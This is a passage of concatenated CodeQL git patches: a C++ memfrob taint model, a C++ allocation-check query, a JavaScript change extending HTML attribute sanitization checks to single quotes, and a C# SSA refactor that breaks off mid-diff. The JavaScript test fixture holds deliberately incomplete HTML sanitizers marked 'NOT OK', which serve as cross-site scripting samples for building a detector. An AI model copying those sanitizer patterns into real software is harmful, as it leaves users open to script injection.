PureMemFunction() { + hasGlobalOrStdName([ + "memchr", "__builtin_memchr", "memrchr", "rawmemchr", "memcmp", "__builtin_memcmp", "memmem" + ]) or + this.hasGlobalName("memfrob") + } override predicate hasArrayInput(int bufParam) { getParameter(bufParam).getUnspecifiedType() instanceof PointerType @@ -122,11 +156,15 @@ private class PureMemFunction extends AliasFunction, ArrayFunction, TaintFunctio override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { exists(ParameterIndex i | - input.isParameter(i) and - exists(getParameter(i)) - or - input.isParameterDeref(i) and - getParameter(i).getUnspecifiedType() instanceof PointerType + ( + input.isParameter(i) and + exists(getParameter(i)) + or + input.isParameterDeref(i) and + getParameter(i).getUnspecifiedType() instanceof PointerType + ) and + // `memfrob` should not have taint from the size argument. + (not this.hasGlobalName("memfrob") or i = 0) ) and ( output.isReturnValueDeref() and From c8eeb5f73e70c567dc062c7a3b143faa8063ec1a Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Fri, 29 Jan 2021 11:51:15 +0300 Subject: [PATCH 0910/1241] Update WrongInDetectingAndHandlingMemoryAllocationErrors.ql --- .../WrongInDetectingAndHandlingMemoryAllocationErrors.ql | 3 +++ 1 file changed, 3 insertions(+) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.ql b/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.ql index e165d61985b..04a284d7846 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.ql +++ b/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.ql @@ -22,6 +22,9 @@ class IfCompareWithZero extends IfStmt { or this.getCondition().(NEExpr).getAChild().getValue() = "0" and this.hasElse() + or + this.getCondition().(NEExpr).getAChild().getValue() = "0" and + this.getThen().getAChild*() instanceof ReturnStmt } } From 3f1e81533ccaa970f6e7ff05a6a028c4c0ae619f Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Fri, 29 Jan 2021 10:20:29 +0100 Subject: [PATCH 0911/1241] support html attribute concatenations with single quotes --- .../security/IncompleteBlacklistSanitizer.qll | 14 ++++++----- .../IncompleteHtmlAttributeSanitization.qll | 2 +- ...tmlAttributeSanitizationCustomizations.qll | 15 ++++++++--- .../IncompleteBlacklistSanitizer.expected | 21 ++++++++++++++++ ...completeHtmlAttributeSanitization.expected | 25 +++++++++++++++++++ .../CWE-116/IncompleteSanitization/tst.js | 15 ++++++++--- 6 files changed, 79 insertions(+), 13 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/security/IncompleteBlacklistSanitizer.qll b/javascript/ql/src/semmle/javascript/security/IncompleteBlacklistSanitizer.qll index fa0d25ffc5e..84c9b5bd969 100644 --- a/javascript/ql/src/semmle/javascript/security/IncompleteBlacklistSanitizer.qll +++ b/javascript/ql/src/semmle/javascript/security/IncompleteBlacklistSanitizer.qll @@ -23,7 +23,7 @@ abstract class IncompleteBlacklistSanitizer extends DataFlow::Node { * Describes the characters represented by `rep`. */ string describeCharacters(string rep) { - rep = "\"" and result = "quotes" + rep = ["\"", "'"] and result = "quotes" or rep = "&" and result = "ampersands" or @@ -86,6 +86,12 @@ module HtmlSanitization { chain.getAReplacementString() = """ ) or + result = "'" and + ( + chain.getAReplacedString() = result or + chain.getAReplacementString() = "'" + ) + or result = "&" and ( chain.getAReplacedString() = result or @@ -123,11 +129,7 @@ module HtmlSanitization { // replaces `<` and `>` getALikelyReplacedCharacter(chain) = "<" and getALikelyReplacedCharacter(chain) = ">" and - ( - unsanitized = "\"" - or - unsanitized = "&" - ) + unsanitized = ["\"", "'", "&"] or // replaces '&' and either `<` or `>` getALikelyReplacedCharacter(chain) = "&" and diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/IncompleteHtmlAttributeSanitization.qll b/javascript/ql/src/semmle/javascript/security/dataflow/IncompleteHtmlAttributeSanitization.qll index 5ca6f644506..523e42f6b00 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/IncompleteHtmlAttributeSanitization.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/IncompleteHtmlAttributeSanitization.qll @@ -14,7 +14,7 @@ module IncompleteHtmlAttributeSanitization { private module Label { class Quote extends DataFlow::FlowLabel { - Quote() { this = "\"" } + Quote() { this = ["\"", "'"] } } class Ampersand extends DataFlow::FlowLabel { diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/IncompleteHtmlAttributeSanitizationCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/IncompleteHtmlAttributeSanitizationCustomizations.qll index cd1d9c1cc6c..42f8315ecc6 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/IncompleteHtmlAttributeSanitizationCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/IncompleteHtmlAttributeSanitizationCustomizations.qll @@ -49,11 +49,15 @@ module IncompleteHtmlAttributeSanitization { */ class HtmlAttributeConcatenation extends StringOps::ConcatenationLeaf { string lhs; + string quote; HtmlAttributeConcatenation() { - lhs = this.getPreviousLeaf().getStringValue().regexpCapture("(?s)(.*)=\"[^\"]*", 1) and + quote = ["\"", "'"] and + exists(string prev | prev = this.getPreviousLeaf().getStringValue() | + lhs = prev.regexpCapture("(?s)(.*)=" + quote + "[^" + quote + "=<>]*", 1) + ) and ( - this.getNextLeaf().getStringValue().regexpMatch(".*\".*") or + this.getNextLeaf().getStringValue().regexpMatch(".*" + quote + ".*") or this instanceof StringOps::HtmlConcatenationLeaf ) } @@ -62,6 +66,11 @@ module IncompleteHtmlAttributeSanitization { * Holds if the attribute value is interpreted as JavaScript source code. */ predicate isInterpretedAsJavaScript() { lhs.regexpMatch("(?i)(.* )?on[a-z]+") } + + /** + * Gets the quote symbol (" or ') that is used to mark the attribute value. + */ + string getQuote() { result = quote } } /** @@ -74,7 +83,7 @@ module IncompleteHtmlAttributeSanitization { override string getADangerousCharacter() { isInterpretedAsJavaScript() and result = "&" or - result = "\"" + result = getQuote() } } diff --git a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteBlacklistSanitizer.expected b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteBlacklistSanitizer.expected index 7808ccba13c..9260143ea41 100644 --- a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteBlacklistSanitizer.expected +++ b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteBlacklistSanitizer.expected @@ -2,6 +2,7 @@ | tst.js:206:2:206:24 | s().rep ... ]/g,'') | This HTML sanitizer does not sanitize quotes | | tst.js:207:2:207:26 | s().rep ... /g, '') | This HTML sanitizer does not sanitize quotes | | tst.js:208:2:208:26 | s().rep ... /g, '') | This HTML sanitizer does not sanitize ampersands | +| tst.js:208:2:208:26 | s().rep ... /g, '') | This HTML sanitizer does not sanitize quotes | | tst.js:209:2:209:40 | s().rep ... /g, '') | This HTML sanitizer does not sanitize ampersands | | tst.js:209:2:209:40 | s().rep ... /g, '') | This HTML sanitizer does not sanitize quotes | | tst.js:210:2:210:58 | s().rep ... /g, '') | This HTML sanitizer does not sanitize quotes | @@ -9,21 +10,41 @@ | tst.js:212:2:212:58 | s().rep ... /g, '') | This HTML sanitizer does not sanitize quotes | | tst.js:215:6:215:24 | s.replace(/>/g, '') | This HTML sanitizer does not sanitize ampersands | | tst.js:215:6:215:24 | s.replace(/>/g, '') | This HTML sanitizer does not sanitize quotes | +| tst.js:216:2:216:93 | s().rep ... "') | This HTML sanitizer does not sanitize quotes | | tst.js:217:2:217:93 | s().rep ... '') | This HTML sanitizer does not sanitize quotes | +| tst.js:223:2:223:107 | s().rep ... &') | This HTML sanitizer does not sanitize quotes | | tst.js:243:9:243:31 | s().rep ... ]/g,'') | This HTML sanitizer does not sanitize ampersands | | tst.js:243:9:243:31 | s().rep ... ]/g,'') | This HTML sanitizer does not sanitize quotes | | tst.js:244:9:244:33 | s().rep ... /g, '') | This HTML sanitizer does not sanitize quotes | | tst.js:245:9:245:33 | s().rep ... /g, '') | This HTML sanitizer does not sanitize ampersands | +| tst.js:245:9:245:33 | s().rep ... /g, '') | This HTML sanitizer does not sanitize quotes | +| tst.js:246:9:246:33 | s().rep ... ]/g,'') | This HTML sanitizer does not sanitize quotes | | tst.js:249:9:249:33 | s().rep ... ]/g,'') | This HTML sanitizer does not sanitize quotes | +| tst.js:250:9:250:33 | s().rep ... ]/g,'') | This HTML sanitizer does not sanitize quotes | | tst.js:251:9:251:33 | s().rep ... ]/g,'') | This HTML sanitizer does not sanitize quotes | | tst.js:253:21:253:45 | s().rep ... /g, '') | This HTML sanitizer does not sanitize ampersands | +| tst.js:253:21:253:45 | s().rep ... /g, '') | This HTML sanitizer does not sanitize quotes | | tst.js:254:32:254:56 | s().rep ... /g, '') | This HTML sanitizer does not sanitize ampersands | +| tst.js:254:32:254:56 | s().rep ... /g, '') | This HTML sanitizer does not sanitize quotes | | tst.js:255:26:255:50 | s().rep ... /g, '') | This HTML sanitizer does not sanitize ampersands | +| tst.js:255:26:255:50 | s().rep ... /g, '') | This HTML sanitizer does not sanitize quotes | | tst.js:256:15:256:39 | s().rep ... /g, '') | This HTML sanitizer does not sanitize ampersands | +| tst.js:256:15:256:39 | s().rep ... /g, '') | This HTML sanitizer does not sanitize quotes | | tst.js:261:10:261:81 | value.r ... '>') | This HTML sanitizer does not sanitize quotes | | tst.js:270:61:270:85 | s().rep ... /g, '') | This HTML sanitizer does not sanitize ampersands | +| tst.js:270:61:270:85 | s().rep ... /g, '') | This HTML sanitizer does not sanitize quotes | | tst.js:272:28:272:50 | s().rep ... ]/g,'') | This HTML sanitizer does not sanitize ampersands | | tst.js:272:28:272:50 | s().rep ... ]/g,'') | This HTML sanitizer does not sanitize quotes | | tst.js:274:12:274:94 | s().val ... g , '') | This HTML sanitizer does not sanitize ampersands | | tst.js:274:12:274:94 | s().val ... g , '') | This HTML sanitizer does not sanitize quotes | | tst.js:277:9:277:29 | arr2.re ... "/g,"") | This HTML sanitizer does not sanitize ampersands | +| tst.js:277:9:277:29 | arr2.re ... "/g,"") | This HTML sanitizer does not sanitize quotes | +| tst.js:284:6:284:30 | x.repla ... quot;') | This HTML sanitizer does not sanitize quotes | +| tst.js:294:7:294:31 | y.repla ... quot;') | This HTML sanitizer does not sanitize quotes | +| tst.js:300:10:300:33 | s().rep ... ]/g,'') | This HTML sanitizer does not sanitize quotes | +| tst.js:301:10:301:32 | s().rep ... ]/g,'') | This HTML sanitizer does not sanitize ampersands | +| tst.js:301:10:301:32 | s().rep ... ]/g,'') | This HTML sanitizer does not sanitize quotes | +| tst.js:302:10:302:34 | s().rep ... ]/g,'') | This HTML sanitizer does not sanitize quotes | +| tst.js:303:10:303:34 | s().rep ... /g, '') | This HTML sanitizer does not sanitize quotes | +| tst.js:304:9:304:33 | s().rep ... ]/g,'') | This HTML sanitizer does not sanitize quotes | +| tst.js:305:10:305:34 | s().rep ... ]/g,'') | This HTML sanitizer does not sanitize quotes | diff --git a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteHtmlAttributeSanitization.expected b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteHtmlAttributeSanitization.expected index aa9aca72221..0458eec6929 100644 --- a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteHtmlAttributeSanitization.expected +++ b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteHtmlAttributeSanitization.expected @@ -8,6 +8,9 @@ nodes | tst.js:249:9:249:33 | s().rep ... ]/g,'') | | tst.js:249:9:249:33 | s().rep ... ]/g,'') | | tst.js:249:9:249:33 | s().rep ... ]/g,'') | +| tst.js:250:9:250:33 | s().rep ... ]/g,'') | +| tst.js:250:9:250:33 | s().rep ... ]/g,'') | +| tst.js:250:9:250:33 | s().rep ... ]/g,'') | | tst.js:253:21:253:45 | s().rep ... /g, '') | | tst.js:253:21:253:45 | s().rep ... /g, '') | | tst.js:253:21:253:45 | s().rep ... /g, '') | @@ -23,10 +26,23 @@ nodes | tst.js:275:9:275:11 | arr | | tst.js:275:9:275:21 | arr.join(" ") | | tst.js:275:9:275:21 | arr.join(" ") | +| tst.js:300:10:300:33 | s().rep ... ]/g,'') | +| tst.js:300:10:300:33 | s().rep ... ]/g,'') | +| tst.js:300:10:300:33 | s().rep ... ]/g,'') | +| tst.js:301:10:301:32 | s().rep ... ]/g,'') | +| tst.js:301:10:301:32 | s().rep ... ]/g,'') | +| tst.js:301:10:301:32 | s().rep ... ]/g,'') | +| tst.js:302:10:302:34 | s().rep ... ]/g,'') | +| tst.js:302:10:302:34 | s().rep ... ]/g,'') | +| tst.js:302:10:302:34 | s().rep ... ]/g,'') | +| tst.js:303:10:303:34 | s().rep ... /g, '') | +| tst.js:303:10:303:34 | s().rep ... /g, '') | +| tst.js:303:10:303:34 | s().rep ... /g, '') | edges | tst.js:243:9:243:31 | s().rep ... ]/g,'') | tst.js:243:9:243:31 | s().rep ... ]/g,'') | | tst.js:244:9:244:33 | s().rep ... /g, '') | tst.js:244:9:244:33 | s().rep ... /g, '') | | tst.js:249:9:249:33 | s().rep ... ]/g,'') | tst.js:249:9:249:33 | s().rep ... ]/g,'') | +| tst.js:250:9:250:33 | s().rep ... ]/g,'') | tst.js:250:9:250:33 | s().rep ... ]/g,'') | | tst.js:253:21:253:45 | s().rep ... /g, '') | tst.js:253:21:253:45 | s().rep ... /g, '') | | tst.js:254:32:254:56 | s().rep ... /g, '') | tst.js:254:32:254:56 | s().rep ... /g, '') | | tst.js:270:61:270:85 | s().rep ... /g, '') | tst.js:270:61:270:85 | s().rep ... /g, '') | @@ -35,11 +51,20 @@ edges | tst.js:274:12:274:94 | s().val ... g , '') | tst.js:274:6:274:94 | arr | | tst.js:275:9:275:11 | arr | tst.js:275:9:275:21 | arr.join(" ") | | tst.js:275:9:275:11 | arr | tst.js:275:9:275:21 | arr.join(" ") | +| tst.js:300:10:300:33 | s().rep ... ]/g,'') | tst.js:300:10:300:33 | s().rep ... ]/g,'') | +| tst.js:301:10:301:32 | s().rep ... ]/g,'') | tst.js:301:10:301:32 | s().rep ... ]/g,'') | +| tst.js:302:10:302:34 | s().rep ... ]/g,'') | tst.js:302:10:302:34 | s().rep ... ]/g,'') | +| tst.js:303:10:303:34 | s().rep ... /g, '') | tst.js:303:10:303:34 | s().rep ... /g, '') | #select | tst.js:243:9:243:31 | s().rep ... ]/g,'') | tst.js:243:9:243:31 | s().rep ... ]/g,'') | tst.js:243:9:243:31 | s().rep ... ]/g,'') | Cross-site scripting vulnerability as the output of $@ may contain quotes when it reaches this attribute definition. | tst.js:243:9:243:31 | s().rep ... ]/g,'') | this final HTML sanitizer step | | tst.js:244:9:244:33 | s().rep ... /g, '') | tst.js:244:9:244:33 | s().rep ... /g, '') | tst.js:244:9:244:33 | s().rep ... /g, '') | Cross-site scripting vulnerability as the output of $@ may contain quotes when it reaches this attribute definition. | tst.js:244:9:244:33 | s().rep ... /g, '') | this final HTML sanitizer step | | tst.js:249:9:249:33 | s().rep ... ]/g,'') | tst.js:249:9:249:33 | s().rep ... ]/g,'') | tst.js:249:9:249:33 | s().rep ... ]/g,'') | Cross-site scripting vulnerability as the output of $@ may contain quotes when it reaches this attribute definition. | tst.js:249:9:249:33 | s().rep ... ]/g,'') | this final HTML sanitizer step | +| tst.js:250:9:250:33 | s().rep ... ]/g,'') | tst.js:250:9:250:33 | s().rep ... ]/g,'') | tst.js:250:9:250:33 | s().rep ... ]/g,'') | Cross-site scripting vulnerability as the output of $@ may contain quotes when it reaches this attribute definition. | tst.js:250:9:250:33 | s().rep ... ]/g,'') | this final HTML sanitizer step | | tst.js:253:21:253:45 | s().rep ... /g, '') | tst.js:253:21:253:45 | s().rep ... /g, '') | tst.js:253:21:253:45 | s().rep ... /g, '') | Cross-site scripting vulnerability as the output of $@ may contain ampersands or quotes when it reaches this attribute definition. | tst.js:253:21:253:45 | s().rep ... /g, '') | this final HTML sanitizer step | | tst.js:254:32:254:56 | s().rep ... /g, '') | tst.js:254:32:254:56 | s().rep ... /g, '') | tst.js:254:32:254:56 | s().rep ... /g, '') | Cross-site scripting vulnerability as the output of $@ may contain ampersands or quotes when it reaches this attribute definition. | tst.js:254:32:254:56 | s().rep ... /g, '') | this final HTML sanitizer step | | tst.js:270:61:270:85 | s().rep ... /g, '') | tst.js:270:61:270:85 | s().rep ... /g, '') | tst.js:270:61:270:85 | s().rep ... /g, '') | Cross-site scripting vulnerability as the output of $@ may contain ampersands or quotes when it reaches this attribute definition. | tst.js:270:61:270:85 | s().rep ... /g, '') | this final HTML sanitizer step | | tst.js:275:9:275:21 | arr.join(" ") | tst.js:274:12:274:94 | s().val ... g , '') | tst.js:275:9:275:21 | arr.join(" ") | Cross-site scripting vulnerability as the output of $@ may contain quotes when it reaches this attribute definition. | tst.js:274:12:274:94 | s().val ... g , '') | this final HTML sanitizer step | +| tst.js:300:10:300:33 | s().rep ... ]/g,'') | tst.js:300:10:300:33 | s().rep ... ]/g,'') | tst.js:300:10:300:33 | s().rep ... ]/g,'') | Cross-site scripting vulnerability as the output of $@ may contain quotes when it reaches this attribute definition. | tst.js:300:10:300:33 | s().rep ... ]/g,'') | this final HTML sanitizer step | +| tst.js:301:10:301:32 | s().rep ... ]/g,'') | tst.js:301:10:301:32 | s().rep ... ]/g,'') | tst.js:301:10:301:32 | s().rep ... ]/g,'') | Cross-site scripting vulnerability as the output of $@ may contain quotes when it reaches this attribute definition. | tst.js:301:10:301:32 | s().rep ... ]/g,'') | this final HTML sanitizer step | +| tst.js:302:10:302:34 | s().rep ... ]/g,'') | tst.js:302:10:302:34 | s().rep ... ]/g,'') | tst.js:302:10:302:34 | s().rep ... ]/g,'') | Cross-site scripting vulnerability as the output of $@ may contain quotes when it reaches this attribute definition. | tst.js:302:10:302:34 | s().rep ... ]/g,'') | this final HTML sanitizer step | +| tst.js:303:10:303:34 | s().rep ... /g, '') | tst.js:303:10:303:34 | s().rep ... /g, '') | tst.js:303:10:303:34 | s().rep ... /g, '') | Cross-site scripting vulnerability as the output of $@ may contain quotes when it reaches this attribute definition. | tst.js:303:10:303:34 | s().rep ... /g, '') | this final HTML sanitizer step | diff --git a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/tst.js b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/tst.js index e5e784c7a87..49b1d952dfc 100644 --- a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/tst.js +++ b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/tst.js @@ -214,7 +214,7 @@ function typicalBadHtmlSanitizers(s) { var s = s().replace(/</g, ''); s = s.replace(/>/g, ''); // NOT OK s().replace(/</g, '<').replace(/>/g, '>').replace(/&/g, '&').replace(/"/g, '"'); // OK - s().replace(/</g, '<').replace(/>/g, '>').replace(/&/g, '&').replace(/'/g, '''); // NOT OK + s().replace(/</g, '<').replace(/>/g, '>').replace(/&/g, '&').replace(/'/g, '''); // OK - single quotes or double quotes both work s().replace(/</g, '<').replace(/>/g, '>').replace(RE, function(match) {/* ... */ }); // OK (probably) @@ -247,8 +247,8 @@ function incompleteHtmlAttributeSanitization() { '="' + s().replace(/[&"]/g,'') + '"'; // OK '="' + s().replace(/[<>&']/g,'') + '"'; // NOT OK - "='" + s().replace(/[<>&"]/g,'') + "'"; // OK (but given the context, it is probably not fine) - "='" + s().replace(/[<>&']/g,'') + "'"; // NOT OK (but given the context, it is probably fine) + "='" + s().replace(/[<>&"]/g,'') + "'"; // NOT OK + "='" + s().replace(/[<>&']/g,'') + "'"; // OK 'onFunkyEvent="' + s().replace(/[<>"]/g, '') + '"'; // NOT OK '<div noise onFunkyEvent="' + s().replace(/[<>"]/g, '') + '"'; // NOT OK @@ -295,3 +295,12 @@ function moreIncompleteHtmlAttributeSanitization() { } 'onclick="' + y + '"'; // OK } + +function incompleteHtmlAttributeSanitization2() { + '=\'' + s().replace(/[&<>]/g,'') + '\''; // NOT OK + '=\'' + s().replace(/[<>]/g,'') + '\''; // NOT OK + '=\'' + s().replace(/[&<>"]/g,'') + '\''; // NOT OK + '=\'' + s().replace(/[<>&]/g, '') + '\''; // NOT OK + '="' + s().replace(/[<>&"]/g,'') + '"'; // OK + '=\'' + s().replace(/[<>&']/g,'') + '\''; // OK +} From 1a507ff497d2db5ce37d9bc16ee8857c0b9f45af Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Fri, 29 Jan 2021 10:52:42 +0100 Subject: [PATCH 0912/1241] C#: Remove `Cached` module from `SsaImplCommon.qll` --- .../dataflow/internal/SsaImplCommon.qll | 881 +++++++++--------- 1 file changed, 435 insertions(+), 446 deletions(-) diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplCommon.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplCommon.qll index 8bfef0053ac..ff85b324012 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplCommon.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplCommon.qll @@ -7,487 +7,476 @@ private import SsaImplSpecific private BasicBlock getABasicBlockPredecessor(BasicBlock bb) { getABasicBlockSuccessor(result) = bb } +/** + * Liveness analysis (based on source variables) to restrict the size of the + * SSA representation. + */ +private module Liveness { + /** + * A classification of variable references into reads (of a given kind) and + * (certain or uncertain) writes. + */ + private newtype TRefKind = + Read() or + Write(boolean certain) { certain = true or certain = false } + + private class RefKind extends TRefKind { + string toString() { + this = Read() and result = "read" + or + exists(boolean certain | this = Write(certain) and result = "write (" + certain + ")") + } + + int getOrder() { + this = Read() and + result = 0 + or + this = Write(_) and + result = 1 + } + } + + /** + * Holds if the `i`th node of basic block `bb` is a reference to `v` of kind `k`. + */ + private predicate ref(BasicBlock bb, int i, SourceVariable v, RefKind k) { + variableRead(bb, i, v) and k = Read() + or + exists(boolean certain | variableWrite(bb, i, v, certain) | k = Write(certain)) + } + + private newtype OrderedRefIndex = + MkOrderedRefIndex(int i, int tag) { + exists(RefKind rk | ref(_, i, _, rk) | tag = rk.getOrder()) + } + + private OrderedRefIndex refOrd(BasicBlock bb, int i, SourceVariable v, RefKind k, int ord) { + ref(bb, i, v, k) and + result = MkOrderedRefIndex(i, ord) and + ord = k.getOrder() + } + + /** + * Gets the (1-based) rank of the reference to `v` at the `i`th node of + * basic block `bb`, which has the given reference kind `k`. + * + * Reads are considered before writes when they happen at the same index. + */ + private int refRank(BasicBlock bb, int i, SourceVariable v, RefKind k) { + refOrd(bb, i, v, k, _) = + rank[result](int j, int ord, OrderedRefIndex res | + res = refOrd(bb, j, v, _, ord) + | + res order by j, ord + ) + } + + private int maxRefRank(BasicBlock bb, SourceVariable v) { + result = refRank(bb, _, v, _) and + not result + 1 = refRank(bb, _, v, _) + } + + /** + * Gets the (1-based) rank of the first reference to `v` inside basic block `bb` + * that is either a read or a certain write. + */ + private int firstReadOrCertainWrite(BasicBlock bb, SourceVariable v) { + result = + min(int r, RefKind k | + r = refRank(bb, _, v, k) and + k != Write(false) + | + r + ) + } + + /** + * Holds if source variable `v` is live at the beginning of basic block `bb`. + */ + predicate liveAtEntry(BasicBlock bb, SourceVariable v) { + // The first read or certain write to `v` inside `bb` is a read + refRank(bb, _, v, Read()) = firstReadOrCertainWrite(bb, v) + or + // There is no certain write to `v` inside `bb`, but `v` is live at entry + // to a successor basic block of `bb` + not exists(firstReadOrCertainWrite(bb, v)) and + liveAtExit(bb, v) + } + + /** + * Holds if source variable `v` is live at the end of basic block `bb`. + */ + predicate liveAtExit(BasicBlock bb, SourceVariable v) { + liveAtEntry(getABasicBlockSuccessor(bb), v) + } + + /** + * Holds if variable `v` is live in basic block `bb` at index `i`. + * The rank of `i` is `rnk` as defined by `refRank()`. + */ + private predicate liveAtRank(BasicBlock bb, int i, SourceVariable v, int rnk) { + exists(RefKind kind | rnk = refRank(bb, i, v, kind) | + rnk = maxRefRank(bb, v) and + liveAtExit(bb, v) + or + ref(bb, i, v, kind) and + kind = Read() + or + exists(RefKind nextKind | + liveAtRank(bb, _, v, rnk + 1) and + rnk + 1 = refRank(bb, _, v, nextKind) and + nextKind != Write(true) + ) + ) + } + + /** + * Holds if variable `v` is live after the (certain or uncertain) write at + * index `i` inside basic block `bb`. + */ + predicate liveAfterWrite(BasicBlock bb, int i, SourceVariable v) { + exists(int rnk | rnk = refRank(bb, i, v, Write(_)) | liveAtRank(bb, i, v, rnk)) + } +} + +private import Liveness + +/** Holds if `bb1` strictly dominates `bb2`. */ +private predicate strictlyDominates(BasicBlock bb1, BasicBlock bb2) { + bb1 = getImmediateBasicBlockDominator+(bb2) +} + +/** Holds if `bb1` dominates a predecessor of `bb2`. */ +private predicate dominatesPredecessor(BasicBlock bb1, BasicBlock bb2) { + exists(BasicBlock pred | pred = getABasicBlockPredecessor(bb2) | + bb1 = pred + or + strictlyDominates(bb1, pred) + ) +} + +/** Holds if `df` is in the dominance frontier of `bb`. */ +private predicate inDominanceFrontier(BasicBlock bb, BasicBlock df) { + dominatesPredecessor(bb, df) and + not strictlyDominates(bb, df) +} + +/** + * Holds if `bb` is in the dominance frontier of a block containing a + * definition of `v`. + */ +pragma[noinline] +private predicate inDefDominanceFrontier(BasicBlock bb, SourceVariable v) { + exists(BasicBlock defbb, Definition def | + def.definesAt(v, defbb, _) and + inDominanceFrontier(defbb, bb) + ) +} + cached -private module Cached { +newtype TDefinition = + TWriteDef(SourceVariable v, BasicBlock bb, int i) { + variableWrite(bb, i, v, _) and + liveAfterWrite(bb, i, v) + } or + TPhiNode(SourceVariable v, BasicBlock bb) { + inDefDominanceFrontier(bb, v) and + liveAtEntry(bb, v) + } + +private module SsaDefReaches { + newtype TSsaRefKind = + SsaRead() or + SsaDef() + /** - * Liveness analysis (based on source variables) to restrict the size of the - * SSA representation. + * A classification of SSA variable references into reads and definitions. */ - private module Liveness { - /** - * A classification of variable references into reads (of a given kind) and - * (certain or uncertain) writes. - */ - private newtype TRefKind = - Read() or - Write(boolean certain) { certain = true or certain = false } - - private class RefKind extends TRefKind { - string toString() { - this = Read() and result = "read" - or - exists(boolean certain | this = Write(certain) and result = "write (" + certain + ")") - } - - int getOrder() { - this = Read() and - result = 0 - or - this = Write(_) and - result = 1 - } - } - - /** - * Holds if the `i`th node of basic block `bb` is a reference to `v` of kind `k`. - */ - private predicate ref(BasicBlock bb, int i, SourceVariable v, RefKind k) { - variableRead(bb, i, v) and k = Read() + class SsaRefKind extends TSsaRefKind { + string toString() { + this = SsaRead() and + result = "SsaRead" or - exists(boolean certain | variableWrite(bb, i, v, certain) | k = Write(certain)) + this = SsaDef() and + result = "SsaDef" } - private newtype OrderedRefIndex = - MkOrderedRefIndex(int i, int tag) { - exists(RefKind rk | ref(_, i, _, rk) | tag = rk.getOrder()) - } - - private OrderedRefIndex refOrd(BasicBlock bb, int i, SourceVariable v, RefKind k, int ord) { - ref(bb, i, v, k) and - result = MkOrderedRefIndex(i, ord) and - ord = k.getOrder() - } - - /** - * Gets the (1-based) rank of the reference to `v` at the `i`th node of - * basic block `bb`, which has the given reference kind `k`. - * - * Reads are considered before writes when they happen at the same index. - */ - private int refRank(BasicBlock bb, int i, SourceVariable v, RefKind k) { - refOrd(bb, i, v, k, _) = - rank[result](int j, int ord, OrderedRefIndex res | - res = refOrd(bb, j, v, _, ord) - | - res order by j, ord - ) - } - - private int maxRefRank(BasicBlock bb, SourceVariable v) { - result = refRank(bb, _, v, _) and - not result + 1 = refRank(bb, _, v, _) - } - - /** - * Gets the (1-based) rank of the first reference to `v` inside basic block `bb` - * that is either a read or a certain write. - */ - private int firstReadOrCertainWrite(BasicBlock bb, SourceVariable v) { - result = - min(int r, RefKind k | - r = refRank(bb, _, v, k) and - k != Write(false) - | - r - ) - } - - /** - * Holds if source variable `v` is live at the beginning of basic block `bb`. - */ - predicate liveAtEntry(BasicBlock bb, SourceVariable v) { - // The first read or certain write to `v` inside `bb` is a read - refRank(bb, _, v, Read()) = firstReadOrCertainWrite(bb, v) + int getOrder() { + this = SsaRead() and + result = 0 or - // There is no certain write to `v` inside `bb`, but `v` is live at entry - // to a successor basic block of `bb` - not exists(firstReadOrCertainWrite(bb, v)) and - liveAtExit(bb, v) + this = SsaDef() and + result = 1 } - - /** - * Holds if source variable `v` is live at the end of basic block `bb`. - */ - predicate liveAtExit(BasicBlock bb, SourceVariable v) { - liveAtEntry(getABasicBlockSuccessor(bb), v) - } - - /** - * Holds if variable `v` is live in basic block `bb` at index `i`. - * The rank of `i` is `rnk` as defined by `refRank()`. - */ - private predicate liveAtRank(BasicBlock bb, int i, SourceVariable v, int rnk) { - exists(RefKind kind | rnk = refRank(bb, i, v, kind) | - rnk = maxRefRank(bb, v) and - liveAtExit(bb, v) - or - ref(bb, i, v, kind) and - kind = Read() - or - exists(RefKind nextKind | - liveAtRank(bb, _, v, rnk + 1) and - rnk + 1 = refRank(bb, _, v, nextKind) and - nextKind != Write(true) - ) - ) - } - - /** - * Holds if variable `v` is live after the (certain or uncertain) write at - * index `i` inside basic block `bb`. - */ - predicate liveAfterWrite(BasicBlock bb, int i, SourceVariable v) { - exists(int rnk | rnk = refRank(bb, i, v, Write(_)) | liveAtRank(bb, i, v, rnk)) - } - } - - private import Liveness - - /** Holds if `bb1` strictly dominates `bb2`. */ - private predicate strictlyDominates(BasicBlock bb1, BasicBlock bb2) { - bb1 = getImmediateBasicBlockDominator+(bb2) - } - - /** Holds if 